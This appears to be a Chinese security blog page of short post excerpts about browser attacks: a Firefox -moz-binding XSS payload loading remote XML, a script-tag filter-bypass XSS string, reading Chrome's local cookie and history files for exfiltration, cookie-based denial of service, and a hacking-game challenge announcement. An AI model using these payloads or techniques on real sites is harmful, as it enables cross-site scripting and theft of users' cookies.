在http://www.80vul.com/qqmail/QQmail%20Multiple%20Xss%20Vulnerabilities.htm

看到，FF3对

<style>BODY{-moz-binding:url("http://www.80vul.coom/test.xml#xss")}</style>

url中的域，是有限制的。

如果配合一些web应用的功能，可以绕过这个限制。

IE6的某些版本（不知道是什么版本，在家里和某个网吧成功了），通过用户点“确定”后，也是可以跨域提交并接收数据的。

对于chrome这里，没办法读取目标域返回的数据，深感遗憾，所以发出来这篇文章，大家想想办法。

很多网站都使用了google的统计。

当我们从一个网站（A）链接到带有google统计的网站（B）时，google会记录referer的URI，并存入B的COOKIE中。

如果我们可以影响referer，是不是就可以攻击任何带有google统计的网站呢？

利用该漏洞可以读取本地文本文件，并提交出来。

而Chrome的cookie默认保存在“C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

读取这个文件，然后提交，前提是文件在本地打开，但是如何欺骗用户在本地打开呢？

sirdarckcat的文章 说，HTTP头的长度，在APACHE等web服务器是有一定的要求的，如果超出一定长度，会产生服务器错误。HTTP头里面，有cookie，有location，有host。。。如果我们可以控制其中一个（例如cookie），给用户植入大长度的cookie，就会出现用户访问该域下所有的请求，都带上大长度cookie，导致用户不管访问域名下的哪个文件，都会产生服务器错误，造成客户端无法访问。

本文讲这个东西具体的利用。

PS:这次大赛就要完了，没有过关的朋友，可以看这个，或者到论坛看通关文档。

　　【IT168专稿】在整个游戏关卡中，所有用到的技术，都是比较基础的，只要有自己的思想，又懂得基本黑客技术，花点时间，很容易过关。整个设计思想是：要求过关者用自己的真实技术，不借助全自动工具，熟悉基本的web黑客攻击技术，肯动脑。关卡尽量切合实际，使用技术尽量不重复。在关卡开始之初，预计要拿host文件这东西，挡住一部分人，让哪些没耐心的，不愿意动脑的人，先去清醒下，过段时间再来玩。

还是没有补啊。。。都到了9.64版本了，我提交了也N长时间了。

http://www.inbreak.net/?action=show&id=142

<<script></script>script>alert("hackedbykxlzx")<<script></script>/script>

恩，放这里测几个rss的阅读器。

引用:    http://www.ixpub.net/thread-893391-1-1.html

原帖由 winer1988 于 2008-12-30 20:39 发表

我要拍一板砖


稍微有点技术
认识几个牛人的
应该都是可以拿到入口地址或是有牛人指点的
剩下最多的就是我们这号小小菜了

我们没有牛人愿意透露点什么
或是基于技术基于IQ之类的东西自己也找不到入口地址 ...

--------------------------------------------------------------------------------
非常感谢你的拍砖！
我们的确在第一关入门就卡了一部分人，这也是出于关卡的发展。

主关卡最后一关没人搞定，但是偏路子不少人走的很爽。
1，同台服务器81端口被人搞，首页被X做黑客留言本。
2，同台服务器j8hacker差点被搞，居然拿0day(Wodig4.1.3Access免费版(UTF-8)（12月5日更新）上传漏洞)砸，强。。。

未命名.jpg (4.24 KB)

2008-12-24 11:29

未命名1.jpg (25.63 KB)

2008-12-24 11:28

关卡入口：www.hack-game.cn

---------------------------
ps：题目我出的，很简单，算给大家的圣诞礼物了。

\r\n字符还能做什么？